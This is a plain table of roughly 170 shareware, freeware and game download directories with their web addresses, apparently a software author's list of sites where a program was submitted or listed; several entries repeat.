| CNET Upload.com | www.upload.cnet.com |
| ColinProof.com | www.colinproof.com |
| COOLGAMES.TV | www.coolgames.tv |
| Download32.com | www.download32.com |
| Downloadaholic.com | www.downloadoholic.com |
| Download-By.net | www.download-by.net |
| DownloadsArea.com | www.downloadsarea.com |
| download-soft.com | www.download-soft.com |
| Download-Tipp | www.download-tipp.de |
| DownloadWasp.com | www.downloadwasp.com |
| download.dk | www.download.dk |
| Education Software Cooperative | www.edu-soft.org/padlib |
| File Hungry | www.filehungry.com |
| FileCart | www.filecart.com |
| FileGuru.com | www.fileguru.com |
| FileHeaven | www.fileheaven.com |
| FindApp.com | www.findapp.com |
| FreeFunFiles | www.freefunfiles.com |
| Free’n'Share | www.freeshareweb.com |
| GameAlbum.com | www.gamealbum.com |
| GameNews | www.games.softnews.ro |
| getsomesoft.com | www.getsomesoft.com |
| GimmeFiles.com | www.gimmefiles.com |
| Global Software Solutions | www.npsoft.org |
| GoodFiles.com | www.goodfiles.com |
| hitWEB | www.hitweb.info |
| HotLib.com | www.hotlib.com |
| Listsoft Software Catalog | www.listsoft.com |
| LITIEL | www.litiel.org |
| Mobile Phone Software | www.mobile-phone-software.com |
| MyZips | www.myzips.com |
| NewFreeware.com | www.newfreeware.com |
| NPSoft.org | www.npsoft.org |
| OneKit.com | www.onekit.com |
| PAD Files | www.padfiles.com |
| PeachSeed | www.peachseed.com |
| ProgramFiles.com | www.programfiles.com |
| Shareware Island | www.sharewareisland.com |
| Shareware.de | www.autor.shareware.de |
| Shareware4U | www.shareware4u.de |
| Simtel | www.simtel.net |
| Sofotex.com | www.sofotex.com |
| soft14.com | www.soft14.com |
| Softandco.com | www.softandco.com/submit.html |
| SoftAward.com | www.softaward.com |
| SoftDeko | www.softdeko.com |
| Softpile.com | www.softpile.com |
| SoftViewer.com | www.softviewer.com |
| Software4Win | www.softwarevault.com |
| SW-Club | www.sw-club.com |
| TerraGame | www.terragame.com |
| thesoftwarebank.com | www.burningbox.com |
| Topdownloads.net | www.download-tipp.de |
| topshareware | www.topshareware.com/submit.asp |
| Total Shareware | www.ultrasoftware.net |
| TSM-Soft.net | www.tsm-soft.net |
| U.S. Computer Corporation | www.uscomputer.net |
| UKWares.com | www.ukwares.com |
| Unitix Shareware | www.unitix.com |
| WareSoft | www.xp-smoker.com |
| WiredApps | www.wiredapps.com |
| Zonk! | www.brandyware.com |
| Softsia.com Downloads | www.softsia.com |
| Downshare.com | www.downshare.com |
| Ginger Screensavers | www.cochise.mta.ac.il:8080/~oved99 |
| FileLover.com | www.filelover.com |
| SoftwareMirror | www.softwaremirror.com |
| PCWDLD | www.pcwdld.com |
| FileLight.com | www.filelight.com |
| Palm Games Bonanza | www.cochise.mta.ac.il:8080/~nir |
| GetSomeSoft.com | www.getsomesoft.com |
| AmazingDownloads.com | www.amazingdownloads.com |
| North Star Solutions | www.nstarsolutions.com/products |
| File Boost | www.fileboost.net |
| Jump-To | www.jump-to.com/shareware |
| Free Biz Files | www.freebizfiles.com |
| File Chicken | www.filechicken.com |
| Swift Downloads | www.swiftdownloads.com |
| PerfectDownloads | www.perfectdownloads.com |
| PayPal | www.paypal.com |
| Master Download | www.masterdownload.com |
| Hot-Shareware.com | www.hot-shareware.com |
| Download A to Z | www.downloadatoz.com |
| Server Software | www.serverfocus.com/software/index.html |
| SEO Spot | www.seospot.com/software |
| Security Worm | www.securityworm.com/software |
| Backup Whiz | www.backupwhiz.com/software |
| SearchLynx | www.searchlynx.com |
| Download Free Games | www.download-free-games.com |
| Shareware-store | www.shareware-store.com |
| M-Region Software Archive | www.m-region.com |
| Shareware River | www.sharewareriver.com |
| softpedia.com | www.softpedia.com |
| dgalaxy | www.dgalaxy.com |
| Smart Downloads | www.smartdownloads.net |
| FreewarePalm | www.freewarepalm.com |
| Willing Software | www.willingsoftware.com/pad |
| ColinProof.com | www.colinproof.com |
| DownloadPlaza.com | www.downloadplaza.com |
| PC Newsflash | www.pcnewsflash.com |
| Terragame | www.terragame.com |
| Sebware3 | www.sebware3.free.fr/boutique/logiciels/index.htm |
| Buy-Software.org | www.buy-software.org |
| BUMPERSOFT | www.bumpersoft.com |
| findSOFTonline | www.findsoftonline.com |
| GamesArc.com | www.gamesarc.com |
| WareSoft | www.xp-smoker.com/software |
| Viva Algarve | www.vivaalgarve.com |
| COOLGAMES.TV | www.coolgames.tv |
| Get Free Trial | www.get-freetrial.us |
| Golden Shareware | www.goldenshareware.com |
| XP Corner | www.xpcorner.com |
| Software Picks Network | www.softpicks.net |
| ProgrammiGratis.com | www.programmigratis.com |
| HotScripts.com | www.hotscripts.com |
| Download-By.net | www.download-by.net |
| VCLPAGES.com | www.vclpages.com |
| FileDevil | www.filedevil.com |
| Techdaily.ws | www.techdaily.ws |
| downloadpipe.com.au | www.downloadpipe.com.au |
| OneKit.com | www.onekit.com |
| ActiveX Download .net | www.activex-download.net |
| FreewarePro | www.freewarepro.com |
| DevPress.com | www.devpress.com |
| ByKeyword.com | www.bykeyword.com |
| 3reels.com | www.3reels.com |
| AdminFavorites.com | www.adminfavorites.com |
| Red Hot Files | www.redhotfiles.com |
| Haysoft | www.haysoft.com |
| TSM-Soft.net | www.tsm-soft.net |
| Free Downloads | www.free-downloads.net |
| JARS | www.jars.com |
| Amazing Files | www.amazingfiles.psunrise.com |
| FileHeaven | www.fileheaven.com |
| Panva Soft | www.panvasoft.com/index-e.html |
| WinDevTools.com | www.windevtools.com |
| Game-Searcher.com | www.game-searcher.com |
| LITIEL | www.litiel.org |
| Program URL.com | www.programurl.com |
| Final Download | www.finaldownload.com |
| ALL-Internet-Security.com | www.all-internet-security.com |
| DownMe.Com | www.downme.com/en_index.html |
| Download Online Games | www.download-online-games.com |
| macgo.net | www.macgo.net |
| MonitorTools.com | www.monitortools.com |
| SoftForAll | www.softforall.com |
| House of Cards, The | www.thehouseofcards.com |
| PC Game Archive | www.buydownloadedgames.com |
| MillionSkies.com | www.millionskies.com |
| Stickysauce.com | www.stickysauce.com |
| UKWares.com | www.ukwares.com |
| Miseajour.net | www.miseajour.net |
| FreeFunFiles | www.freefunfiles.com |
| Killer Freebies | www.killerfreebies.com/software.shtml |
| JeuxVideo.com | www.jeuxvideo.com |
| PocketPC Magazine | www.pocketpcmag.com/encyclopedia.asp |
| Freeware-Spiele.de | www.download.freeware-spiele.de |
| thesoftwarebank.com | www.thesoftwarebank.com |
| GameAlbum.com | www.gamealbum.com |
| Free’n'Share | www.freeshareweb.com |
| Popular Shareware | www.popularshareware.com |
| PRWeb | www.prweb.com |
| Pocket Download | www.pocketdownload.com |
| WiredApps | www.wiredapps.com |
| macgamefiles.com | www.macgamefiles.com/index.php?cat=2 |
| Aquafiles | www.aquafiles.com |
| ?sele Service Center | www.software-4u.dk/English.h |